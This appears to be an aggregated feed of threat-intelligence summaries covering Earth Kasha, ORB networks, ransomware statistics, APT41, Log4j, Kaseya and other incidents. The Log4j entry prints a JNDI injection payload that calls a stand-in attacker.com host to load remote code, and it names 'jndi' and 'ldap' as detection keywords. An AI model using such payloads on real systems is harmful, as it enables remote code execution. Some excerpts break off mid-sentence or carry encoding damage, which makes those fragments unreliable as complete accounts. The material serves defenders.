## Snapshot
Trend Micro has released a report detailing the activities of Earth Kasha, a cyberespionage group known for leveraging the LODEINFO malware, primarily targeting entities in Japan. While some researchers suggest a connection to APT10, Trend Micro considers Earth Kasha a distinct entity within the "APT10 Umbrella," a term denoting groups linked to APT10\'s operational methods. This distinction arises from shared tactics and malware but insufficient direct evidence to conflate the two groups entirely. APT10 is tracked by Microsoft as [Purple Typhoon](https://security.microsoft.com/intel-profiles/e2ce50467bf60953a8838cf5d054caf7f89a0a7611f65e89a67e0142211a1745?tab=description&).
## Description
Since early 2023, Earth Kasha has expanded its operations beyond Japan to include high-profile targets in Taiwan and India, focusing on government agencies and advanced technology industries. Their recent campaigns exhibit a strategic evolution, using vulnerabilities in public-facing enterprise applications, such as FortiOS/FortiProxy and Array AG, to gain initial access. Post-exploitation activities emphasize persistence, lateral movement, and credential theft, deploying backdoors like LODEINFO, NOOPDOOR, and the Cobalt Strike framework.
The LODEINFO malware, central to Earth Kasha\'s campaigns, has undergone continuous development, with new versions observed in recent attacks. This malware is used alongside tools like MirrorStealer, which extracts credentials from browsers and email clients, and NOOPDOOR, a sophisticated backdoor with advanced evasion techniques. These tools enable extensive data theft and infiltration of victim networks.
Comparative analysis highlights overlaps between Earth Kasha and other APT10-associated campaigns, particularly in tactics like exploiting SSL-VPN vulnerabilities and abusing legitimate tools for credential harvesting. However, toolsets differ, suggesting operational independence while potentially sharing resources or operators.Trend Micro\'s medium-confidence attribution of Earth Kasha underscores its ties to the broader APT10 network but stops short of confirming direct control. The group\'s distinct operational focus and adaptive methods indicate a specialized role within this cyber threat ecosystem. These findings highlight the complexity of attribution in modern cyber warfare and the evolving capabilities of threat actors like Earth Kasha.
## Microsoft Analysis and Additional OSINT Context
The threat actor Microsoft tracks as [Purple Typhoon](https://security.microsoft.com/intel-profiles/e2ce50467bf60953a8838cf5d054caf7f89a0a7611f65e89a67e0142211a1745?tab=description&) is a long-running, targeted activity group which has had success in compromising targets from as early as 2009. This activity group has targeted various government entities and industry sectors such as engineering, critical manufacturing, communications infrastructure, and defense. Most of its activity has been spread across a wide geographic area; however, localized targeting using specific malware families has been observed, which suggests possible subgroups are contained within the wider Purple Typhoon group.
## Recommendations
Microsoft recommends the following mitigations to reduce the impact of this threat.
- Turn on [cloud-delivered protection](https://learn.microsoft.com/en-us/defender-endpoint/linux-preferences) in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.

The Windows Registry Adventure # 4: Hives and the Registry Mayout The Windows Registry Adventure #4: Hives and the registry layout (lien direct) |
Posted by Mateusz Jurczyk, Google Project Zero
To a normal user or even a Win32 application developer, the registry layout may seem simple: there are five root keys that we know from Regedit (abbreviated as HKCR, HKLM, HKCU, HKU and HKCC), and each of them contains a nested tree structure that serves a specific role in the system. But as one tries to dig deeper and understand how the registry really works internally, things may get confusing really fast. What are hives? How do they map or relate to the top-level keys? Why are some HKEY root keys pointing inside of other root keys (e.g. HKCU being located under HKU)? These are all valid questions, but they are difficult to answer without fully understanding the interactions between the user-mode Registry API and the kernel-mode registry interface, so let\'s start there.The high-level view
A simplified diagram of the execution flow taken when an application creates a registry key is shown below:
In this example, Application.exe is a desktop program calling the documented RegCreateKeyEx function, which is exported by KernelBase.dll. The KernelBase.dll library implements RegCreateKeyEx by translating the high-level API parameters passed by the caller (paths, flags, etc.) to internal ones understood by the kernel. It then invokes the NtCreateKey system call through a thin wrapper provided by ntdll.dll, and the execution finally reaches the Windows kernel, where all of the actual work on the internal registry representation is performed.

Extinction de l'IOC?Les acteurs de cyber-espionnage de Chine-Nexus utilisent des réseaux orbes pour augmenter les coûts des défenseurs IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders (lien direct) |
Written by: Michael Raggi
Mandiant Intelligence is tracking a growing trend among China-nexus cyber espionage operations where advanced persistent threat (APT) actors utilize proxy networks known as “ORB networks” (operational relay box networks) to gain an advantage when conducting espionage operations. ORB networks are akin to botnets and are made up of virtual private servers (VPS), as well as compromised Internet of Things (IoT) devices, smart devices, and routers that are often end of life or unsupported by their manufacturers. Building networks of compromised devices allows ORB network administrators to easily grow the size of their ORB network with little effort and create a constantly evolving mesh network that can be used to conceal espionage operations.
By using these mesh networks to conduct espionage operations, actors can disguise external traffic between command and control (C2) infrastructure and victim environments including vulnerable edge devices that are being exploited via zero-day vulnerabilities.
These networks often use both rented VPS nodes in combination with malware designed to target routers so they can grow the number of devices capable of relaying traffic within compromised networks.
Mandiant assesses with moderate confidence that this is an effort to raise the cost of defending an enterprise\'s network and shift the advantage toward espionage operators by evading detection and complicating attribution. Mandiant believes that if network defenders can shift the current enterprise defense paradigm away from treating adversary infrastructure like indicators of compromise (IOCs) and instead toward tracking ORB networks like evolving entities akin to APT groups, enterprises can contend with the rising challenge of ORB networks in the threat landscape.
IOC Extinction and the Rise of ORB Networks
The cybersecurity industry has reported on the APT practice of ORB network usage in the past as well as on the functional implementation of these networks. Less discussed are the implications of broad ORB network usage by a multitude of China-nexus espionage actors, which has become more common over recent years. The following are three key points and paradigm shifting implications about ORB networks that require enterprise network defenders to adapt the way they think about China-nexus espionage actors:
ORB networks undermine the idea of “Actor-Controlled Infrastructure”: ORB networks are infrastructure networks administered by independent entities, contractors, or administrators within the People\'s Republic of China (PRC). They are not controlled by a single APT actor. ORB networks create a network interface, administer a network of compromised nodes, and contract access to those networks to multiple APT actors that will use the ORB networks to carry out their own distinct espionage and reconnaissance. These networks are not controlled by APT actors using them, but rather are temporarily used by these APT actors often to deploy custom tooling more conventionally attributable to known China-nexus adversaries.

Le Ransomware Threat Landscape H1-23 Ce rapport fournit une analyse complète de toutes les attaques de ransomwares connues qui ont été signalées au cours des deux premiers trimestres de 2023. The Ransomware Threat Landscape H1-23This report provides a comprehensive analysis of all known ransomware attacks that were reported during the first two quarters of 2023.Read More (lien direct) |
IntroductionâIn this comprehensive report, Kovrr collected and analyzed data on all known ransomware attacks reported during the first two quarters of 2023. The data was collected from multiple sources, all aggregated and updated regularly in Kovrrâs Threat Intelligence Database. The database includes data on many different types of cyber incidents, but this report includes only data on ransomware attacks, excluding data on any other type of attacks. The ransomware groups covered in this report all operate as a RaaS (Ransomware as a Service), a business model through which the ransomware binary and operation are sold or leased to operators, called affiliates. This means that a ransomware operation is composed of many different individuals, with separate roles, and the extortion profits are divided between them. Some individuals are responsible for initial access to the targets, others to lateral movement to interesting and profitable areas in the victim network, while others are responsible for the ransomware infection itself, and others negotiate with the victim after infection. âSummaryâThese are the main insights from the collected data:There is a 32% drop in attack amounts in H1-23 compared to H2-22. It is important to note that this drop can also be due to delayed reporting of cyber incidents by attacked companies.The top ten most active groups observed during the first half of 2023 are AvosLocker, Bianlian, BlackBasta, BlackCat, Clop, Lockbit 3.0, MedusaLocker, Play, Royal, and ViceSociety. All 10 actors accounted for 87% of attacks during this period, while the top 3 groups (Lockbit 3.0, BlackCat, and Clop) accounted for 53% of all claimed attacks during this period. The average lifespan of a ransomware group is 262 days, while the median is 167 days. In an average month, 18.3 different ransomware groups are active.The most targeted industry is the Services industry, while companies with a revenue of $10M-$50M are the most common targets. âData Collection Methods and Possible BiasesâThe data for this research was collected from Kovrrâs Threat Intelligence Database, that collects data from multiple sources, and includes information on different types of cyber incidents. Specifically for this report, data was collected mainly from ransomware leak sites, public filings of attacked companies, and news reports on ransomware attacks. The data from ransomware leak sites was collected mainly from Double Extortion (https://doubleextortion.com), a data source providing up to date information from ransomware leak sites. The rest of the data was collected using proprietary sources and methods. This data was then combined with additional sources to collect company business information and is limited to ransomware attacks that occurred and were reported in the first two quarters of 2023, between January 1st 2023 and June 31st 2023. There are several possible biases in the data that may affect the results presented in the report. Data collection for this research relied either on a company filing a notification on a ransomware attack, or a ransomware group uploading information about a victim. Therefore, in the case that a company decided not to file a notice of a ransomware attack, for example due to not being legally required to do so, it will not be included in our data. This means that companies located in countries that require data breach notifications, such as companies in the United States or the European Union, are expected to have a higher representation in our data. This is also true for companies in more regulated industries, such as healthcare. Regarding data retrieved from ransom group sites, there may be cases where an attacker did not upload data on the attack victim, as the victim paid the ransom, or for other reasons. This means that some victims that have quickly paid ransoms following an attack might not appear in our data. Additionally,, we have previously researched |

Blast from the Past: How Attackers Compromised Zimbra With a Patched Vulnerability (lien direct) |
Last year, I worked on a vulnerability in Zimbra
(CVE-2022-41352 - my
AttackerKB analysis for Rapid7)
that turned out to be a new(-ish) exploit path for a really old bug in cpio -
CVE-2015-1194. But that was patched in 2019, so what happened?
(I posted this as a tweet-thread awhile back, but I decided to flesh it out and
make it into a full blog post!)
cpio is an archive tool commonly used for system-level stuff (firmware images
and such). It can also extract other format, like .tar, which we'll use since
it's more familiar.
cpio has a flag (--no-absolute-filenames), off by default,
that purports to prevent writing files outside of the target directory. That's
handy when, for example, extracting untrusted files with Amavis
(like Zimbra does).
The problem is, symbolic links can point to absolute paths, and therefore, even
with --no-absolute-filenames, there was no safe way to extract an untrusted
archive (outside of using a chroot environment or something similar, which
they really ought to do).
Much later, in 2019, the cpio team released cpio version 2.13, which
includes a patch for
CVE-2015-1194,
with unit tests and everything.
Some (not all) modern OSes include the patched version of cpio, which should be
the end of the story, but it's not!
I'm currently writing this on Fedora 35, so let's try exploiting it. We can
confirm that the version of cpio installed with the OS is, indeed, the fixed
version:
ron@fedora ~ $ cpio --version

That means that we shouldn't be able to use symlinks to write outside of the
target directory, so let's create a .tar file that includes a symlink and a
file written through that symlink (this is largely copied from
this mailing list post:
ron@fedora ~ $ mkdir cpiotest

Hacker Pwns Uber Via Compromised VPN Account
(published: September 16, 2022)
On September 15, 2022, ride-sharing giant Uber started an incident response after discovering a data breach. According to Group-IB researchers, download file name artifacts point to the attacker getting access to fresh keylogger logs affecting two Uber employees from Indonesia and Brazil that have been infected with Racoon and Vidar stealers. The attacker allegedly used a compromised VPN account credentials and performed multifactor authentication fatigue attack by requesting the MFA push notification many times and then making a social-engineering call to the affected employee. Once inside, the attacker allegedly found valid credentials for privilege escalation: a PowerShell script containing hardcoded credentials for a Thycotic privileged access management admin account. On September 18, 2022, Rockstar Games’ Grand Theft Auto 6 suffered a confirmed data leak, likely caused by the same attacker.
Analyst Comment: Network defenders can consider setting up alerts for signs of an MFA fatigue attack such as a large number of MFA requests in a relatively short period of time. Review your source code for embedded credentials, especially those with administrative privileges.

CISO workshop slides (lien direct) |
A glossy, nicely-constructed and detailed PowerPoint slide deck by Microsoft Security caught my beady this morning. The title 'CISO Workshop: Security Program and Strategy' with 'Your Name Here' suggests it might be a template for use in a workshop/course bringing CISOs up to speed on the governance, strategic and architectural aspects of information security, but in fact given the amount of technical detail, it appears to be aimed at informing IT/technology managers about IT or cybersecurity, specifically. Maybe it is intended for newly-appointed CISOs or more junior managers who aspire to be CISOs, helping them clamber up the pyramid (slide 87 of 142): |

COBALT MIRAGE Conducts Ransomware Operations in U.S.
(published: May 12, 2022)
Secureworks researchers describe campaigns by Iran-sponsored group Cobalt Mirage. These actors are likely part of a larger group, Charming Kitten (Phosphorus, APT35, Cobalt Illusion). In 2022, Cobalt Mirage deployed BitLocker ransomware on a US charity systems, and exfiltrated data from a US local government network. Their ransomware operations appear to be a low-scale, hands-on approach with rare tactics such as sending a ransom note to a local printer. The group utilized its own custom binaries including a Fast Reverse Proxy client (FRPC) written in Go. It also relied on mass scanning for known vulnerabilities (ProxyShell, Log4Shell) and using commodity tools for encryption, internal scanning, and lateral movement.
Analyst Comment: However small your government or NGO organization is, it still needs protection from advanced cyber actors. Keep your system updated, and employ mitigation strategies when updates for critical vulnerabilities are not available.

A Lookback Under the TA410 Umbrella: Its Cyberespionage TTPs and Activity
(published: April 28, 2022)
ESET researchers found three different teams under China-sponsored umbrella cyberespionage group TA410, which is loosely linked to Stone Panda (APT10, Chinese Ministry of State Security). ESET named these teams FlowingFrog, JollyFrog, and LookingFrog. FlowingFrog uses the Royal Road RTF weaponizer described by Anomali in 2019. Infection has two stages: the Tendyron implant followed by a very complex FlowCloud backdoor. JollyFrog uses generic malware such as PlugX and QuasarRAT. LookingFrog’s infection stages feature the X4 backdoor followed by the LookBack backdoor. Besides using different backdoors and exiting from IP addresses located in three different districts, the three teams use similar tools and similar tactics, techniques, and procedures (TTPs).
Analyst Comment: Organizations should keep their web-facing applications such as Microsoft Exchange or SharePoint secured and updated. Educate your employees on handling suspected spearphishing attempts. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.

APT41 Compromised Six U.S. State Government Networks (lien direct) |
FortiGuard Labs is aware of a report that threat actor APT41 compromised at least six networks belonging to U.S. state governments between May 2021 and February 2022. To gain a foothold into the victim's network, the threat actor used a number of different attack vectors: exploiting vulnerable Internet facing web applications and directory traversal vulnerabilities, performing SQL injection, and conducting de-serialization attacks. The intent of APT41 appears to be reconnaissance, though how the stolen information is to be used has not yet been determined.Why is this Significant? This is significant because at least six U.S. state government systems were broken into and data exfiltration was performed by APT41 as recent as February 2022 In addition, a zero-day vulnerability in the USAHerds application (CVE-2021-44207) as well as Log4j (CVE-2021-44228), among others, were exploited in the attacksWhat's the Detail of the Attack?APT41 performed several different ways to break into the targeted networks.In one case, the group exploited a SQL injection vulnerability in a Internet-facing web application. In another case, a then previously unknown vulnerability (CVE-2021-44207) in USAHerds, which is a web application used by agriculture officials to manage animal disease control and prevention, livestock identification and movement. Also, APT41 reportedly started to exploit the infamous Log4j vulnerability (CVE-2021-44228) within hours of Proof-of-Concept (PoC) code becoming available. Patches for both vulnerabilities are available. Once successful in breaking into the victim's network, the threat actor performed reconnaissance and credential harvesting activities. What is APT41?APT41 is a threat actor who has been active since at least 2012. Also known as TA415, Double Dragon, Barium, GREF and WickedPanda, the group reportedly performs Chinese state-sponsored espionage activities. APT41 targets organizations in multiple countries across a wide range of industries, such as telecommunications, industrial and engineering and think tanks. In 2020, five alleged members of the group were charged by the U.S. Justice Department for hacking more than 100 companies in the United States.What are the Tools Used by APT41?APT41 is known to use the following tools:ASPXSpy - web shell backdoorBITSAdmin - PowerShell cmdlets for creating and managing file transfers.BLACKCOFFEE - backdoor that disguise its communications as benign traffic to legitimate websites certutil - command-line utility tool used for manipulating certification authority (CA) data and components.China Chopper - web shell backdoor that allows attacker to have remote access to an enterprise networkCobalt Strike - a commercial penetration testing tool, which allows users to perform a wide range of activitiesDerusbi - DLL backdoorEmpire - PowerShell post-exploitation agent, which provides a wide range of attack activities to usersgh0st RAT - Remote Access Trojan (RAT)MESSAGETAP - data mining malware Mimikatz - open-source credential dumpernjRAT - Remote Access Trojan (RAT)PlugX - Remote Access Trojan (RAT)PowerSploit - open-source, offensive security framework which allows users to perform a wide range of activitiesROCKBOOT - BootkitShadowPad - backdoorWinnti for Linux - Remote Access Trojan (RAT) for LinuxZxShell - Remote Access Trojan (RAT)Badpotato - open-source tool that allows elevate user rights towards System rightsDustPan - shellcode loader. aka StealthVectorDEADEYE - downloaderLOWKEY - backdoorKeyplug - backdoorWhat are Other Vulnerabilities Known to be Exploited by APT41?APT41 exploited the following, but not restricted to, these vulnerabilities in the past:CVE-2020-10189 (ManageEngine Desktop Central remote code execution vulnerability)CVE-2019-19781 (Vulnerability in Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliance)CVE-2019-3396 (Atlassian Confluence Widget Connector Macro Velocity Template Injection)CVE-2017-11882 (Microsoft Office Memory Corruption Vulnerability)CVE-2017-0199 (Microsoft Office/WordPad Remote Code Execut |

Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.

Finding Azurescape – Cross-Account Container Takeover in Azure Container Instances
(published: September 9, 2021)
Unit 42 researchers identified and disclosed critical security issues in Microsoft’s Container-as-a-Service (CaaS) offering that is called Azure Container Instances (ACI). A malicious Azure user could have compromised the multitenant Kubernetes clusters hosting ACI, establishing full control over other users' containers. Researchers gave the vulnerability a specific name, Azurescape, highlighting its significance: it the first cross-account container takeover in the public cloud.
Analyst Comment: Azurescape vulnerabilities could have allowed an attacker to execute code on other users' containers, steal customer secrets and images deployed to the platform, and abuse ACI's infrastructure processing power. Microsoft patched ACI shortly after the discl |

Shutdown Kaseya VSA Servers Now Amidst Cascading REvil Attack Against MSPs, Clients
(published: July 4, 2021)
A severe ransomware attack reportedly took place against the popular remote monitoring and management (RMM) software tool Kaseya VSA. On July 2, 2021, Kaseya urged users to shut down their VSA servers to prevent them from being compromised. The company estimated that fewer than 40 of their customers worldwide were affected, but as some of them were managed service providers (MSPs), over 1,000 businesses were infected. The majority of known victims are in the US with some in Europe (Sweden) and New Zealand. The attackers exploited a zero-day vulnerability in Kaseya’s systems that the company was in the process of fixing. It was part of the administrative interface vulnerabilities in tools for system administration previously identified by Wietse Boonstra, a DIVD researcher. The REvil payload was delivered via Kaseya software using a custom dropper that dropped two files. A dropper opens an old but legitimate copy of Windows Defender (MsMpEng.exe) that then side loads and executes the custom malicious loader's export. The attack coincided with the start of the US Independence Day weekend, and has several politically-charged strings, such as “BlackLivesMatter” Windows registry key and “DTrump4ever” as a password.
Analyst Comment: Kaseya VSA clients should safely follow the company’s recommendations as it advised shutting Kaseya VSA servers down, and is making new security updates available. Every organization should have a ransomware disaster recovery plan even if it is serviced by a managed service provider (MSP).

IndigoZebra APT Continues To Attack Central Asia With Evolving Tools
(published: July 1, 2021)
Researchers from Check Point have identified the Afghan Government as the latest victim in a cyber espionage campaign by the suspected Chinese group ‘IndigoZebra’. This attack began in April when Afghan National Security Council (NSC) officials began to receive lure emails claiming to be from the President’s secretariat. These emails included a decoy file that would install the backdoor ‘BoxCaon’ on the system before reaching out to the Dropbox API to act as a C&C server. The attacker would then be able to fingerprint the machine and begin accessing files. I |

The Leap of a Cycldek-Related Threat Actor
(published: April 5, 2021)
A new sophisticated Chinese campaign was observed between June 2020 and January 2021, targeting government, military and other critical industries in Vietnam, and, to lesser extent, in Central Asia and Thailand. This threat actor uses a "DLL side-loading triad" previously mastered by another Chinese group, LuckyMouse: a legitimate executable, a malicious DLL to be sideloaded by it, and an encoded payload, generally dropped from a self-extracting archive. But the code origins of the new malware used on different stages of this campaign point to a different Chinese-speaking group, Cycldek.
Analyst Comment: Malware authors are always innovating new methods of communicating back to the control servers. Always practice Defense in Depth (do not rely on single security mechanisms - security measures should be layered, redundant, and failsafe).

Hancitor’s Use of Cobalt Strike and a Noisy Network Ping Tool
(published: April 1, 2021)
Hancitor is an information stealer and malware downloader used by a threat actor designated as MAN1, Moskalvzapoe or TA511. Initial infection includes target clicking malspam, then clicking on a link in an opened Google Docs page, and finally clicking to enable macros in the downloaded Word document. In recent months, this actor began using a network ping tool to help enumerate the Active Directory (AD) environment of infected hosts. It generates approximately 1.5 GB of Internet Control Message Protocol (ICMP) traffic.
Analyst Comment: Organizations should use email security solutions to block malicious/spam emails. All email attachments should be scanned for malware before they reach the user's inbox. IPS rules need to be configured properly to identify any reconnaissance attempts e.g. port scan to get early indication of potential breach.

German-made FinSpy Spyware Found in Egypt, and Mac and Linux Versions Revealed
(published: September 25, 2020)
Security Researchers from Amnesty International have identified new variants of FinSpy, spyware that can access private data and record audio/video. While used as a law enforcement tool, authoritarian governments have been using FinSpy to spy on activists and dissidents. Spreading through fake Flash Player updates, the malware is installed as root with use of exploits, and persistence is gained by creating a logind.pslist file. Once a system is infected with the malware, it has the ability to run shell scripts, record audio, keylogging, view network information, and list files. Samples have been found of FinSpy for macOS, Windows, Android, and Linux.
Recommendation: Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from threat actors, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place. Furthermore, all employees should be educated on the risks of spearphishing and how to identify such attempts.

Magento Credit Card Stealing Malware: gstaticapi
(published: September 25, 2020)
Security researchers, at Sucuri, have identified a malicious script, dubbed “gstaticapi,” that is designed to steal payment information from Magento-based websites. The script first attempts to find the “checkout” string in a web browser URL and, if found, will create an element to the web pages header. This allows the JavaScript to handle external code-loading capabilities that are used to process the theft of billing and payment card information.
Recommendation: Sometimes webmasters discover that one of their sites has been compromised months after the initial infection. Websites, much like personal workstations, require constant maintenance and upkeep in order to adapt to the latest threats. In addition to keeping server software up to date, it is critical that all external-facing assets are monitored and scanned for vulnerabilities. The ability to easily restore from backup, incident response planning, and customer communication channels should all be established before a breach occurs.

APT10 Group Targets Multiple Sectors, But Seems to Really Love MSSPs (lien direct) |
Threat Actors That Don’t Discriminate
When it comes to threat actors and the malware variants they use, let’s talk dating — or rather, the way people date — because one could argue there are marked similarities between the two. You see, there are criminal groups who have a “type,” i.e. using malware that targets specific industries or even organizations — say, financial services (ever-popular and oh-so debonair) or perhaps critical infrastructure (spicy and daring!), or even healthcare for those who prefer staid and demure. Yet other groups are the free lovin’ types who go after multiple sectors using many different malware variants and approaches to accomplish their goal — no discriminating with this bunch.
Let’s look at one such example, APT10 / Cloud Hopper, which is likely the group behind a long running, sophisticated campaign that uses multiple malware variants to target many different sectors in many different countries. You can check out some of the pulses relating to APT10 / Cloud Hopper on the Open Threat Exchange (OTX).
The U.S. National Cybersecurity and Communications Integration Center (NCCIC) reports the campaign started in May 2016, and NCCIC last updated its alert in December 2018 — so it’s not going away yet.
The group known as APT10 / Cloud Hopper has hit quite a few victims over the last few years in many different sectors, such as: information technology, energy, healthcare and public health, communications, and critical manufacturing. However, their “date of choice” seems to be MSSPs due to the fact a that credential compromises within those networks could potentially be leveraged to access customer environments. From OTX pulse “Operation Cloud Hopper”:
The espionage campaign has targeted managed IT service providers (MSSPs), allowing the APT10 group unprecedented potential access to the intellectual property and sensitive data of those MSSPs and their clients globally. This indirect approach of reaching many through only a few targets demonstrates a new level of maturity in cyber espionage – so it’s more important than ever to have a comprehensive view of all the threats your organization might be exposed to, either directly or through your supply chain.
As any clever serial dater would do, APT10 / Cloud Hopper doesn’t use just one approach. The NCCIC reports they have deployed multiple malware families and variants, some of which are currently not detected by anti-virus signatures — for example, PLUGX / SOGU and REDLEAVES. And although the observed malware is based on existing malware code, APT10 / Cloud Hopper modifies it to improve effectiveness and avoid detection by existing signatures.
How Can APT10 Group Impact You?
If these free lovin’ bad guys decide to come after you, they’re likely looking for your data (perhaps to steal intellectual property). At a high level, they’re accomplishing this by leveraging stolen administrative credentials (local and domain) and certificates to place sophisticated malware implants on critical systems (such as PlugX and Redleaves). Depending on the defensive mitigations in place, they then gain full access to networks and data in a way that appears legitimate to existing your monitoring tools. Voila! They’ve gone from first date to a home run!
